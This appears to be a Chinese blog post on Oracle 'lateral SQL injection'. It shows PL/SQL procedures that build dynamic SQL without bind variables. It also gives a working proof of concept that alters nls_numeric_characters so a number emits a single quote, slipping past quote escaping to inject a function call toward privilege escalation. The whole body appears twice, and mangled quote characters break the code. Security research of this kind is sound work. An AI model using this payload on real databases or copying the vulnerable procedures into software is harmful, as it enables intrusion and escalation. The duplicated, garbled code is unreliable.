ORACLE LATERAL-SQL-INJECTION 个人见解
程序员文章站
2023-11-04 23:02:40
如果直接执行sql语句或者参数绑定则不用担心太多， 如以下oracle存储过程 create or replace procedure&nbs...
如果直接执行sql语句或者参数绑定则不用担心太多，
如以下oracle存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到sql新型注入攻击，那么在什么地方会发生date 以及 number的注入攻击呢！？一般都是采用了动态sql而又不采用参数绑定的语句。
例如工程师经常用的dbms_sql或者execute immediate
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等，也通过修改session中的nls_date_format中的值达到sql注射的目的，
老外的paper讲解得非常详细了 ，我在这里也不废话。
惟独对于 number类型的注射没有多作讲解 只是简单演示了可以输出单引号！
看以下语句
alter session set nls_numeric_characters=”'.';
select to_number(1000.10001,'999999d99999′)||” from dual;
输出一下结果
1000′10001
只是多了一个单引号，那有什么用呢？乐观的来说！在特定情况下是很有价值的！看以下一个存储过程
create or replace procedure numinjpoc(kjexpnum number,kjexpstr varchar2)
is
secstr varchar2(1000);
begin
secstr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('select * from dual where id='||kjexpnum||' and name=”'||secstr||””);
end;
内部对varchar类型进行替换了！我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出sql语句为
select * from dual where id=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个number类型怎么进行注射呢？
alter session set nls_numeric_characters=”'.';
begin
numinjpoc(to_number(0.10001,'999999d99999′),'||kj.exp()–');
end;
看看输出结果
select * from dual where id='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要alter session 配合后，再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路，但是对于单语句进行sql注射攻击，以结果为向导的话！这样的方式没多大作为。
如以下oracle存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到sql新型注入攻击，那么在什么地方会发生date 以及 number的注入攻击呢！？一般都是采用了动态sql而又不采用参数绑定的语句。
例如工程师经常用的dbms_sql或者execute immediate
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等，也通过修改session中的nls_date_format中的值达到sql注射的目的，
老外的paper讲解得非常详细了 ，我在这里也不废话。
惟独对于 number类型的注射没有多作讲解 只是简单演示了可以输出单引号！
看以下语句
alter session set nls_numeric_characters=”'.';
select to_number(1000.10001,'999999d99999′)||” from dual;
输出一下结果
1000′10001
只是多了一个单引号，那有什么用呢？乐观的来说！在特定情况下是很有价值的！看以下一个存储过程
create or replace procedure numinjpoc(kjexpnum number,kjexpstr varchar2)
is
secstr varchar2(1000);
begin
secstr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('select * from dual where id='||kjexpnum||' and name=”'||secstr||””);
end;
内部对varchar类型进行替换了！我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出sql语句为
select * from dual where id=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个number类型怎么进行注射呢？
alter session set nls_numeric_characters=”'.';
begin
numinjpoc(to_number(0.10001,'999999d99999′),'||kj.exp()–');
end;
看看输出结果
select * from dual where id='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要alter session 配合后，再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路，但是对于单语句进行sql注射攻击，以结果为向导的话！这样的方式没多大作为。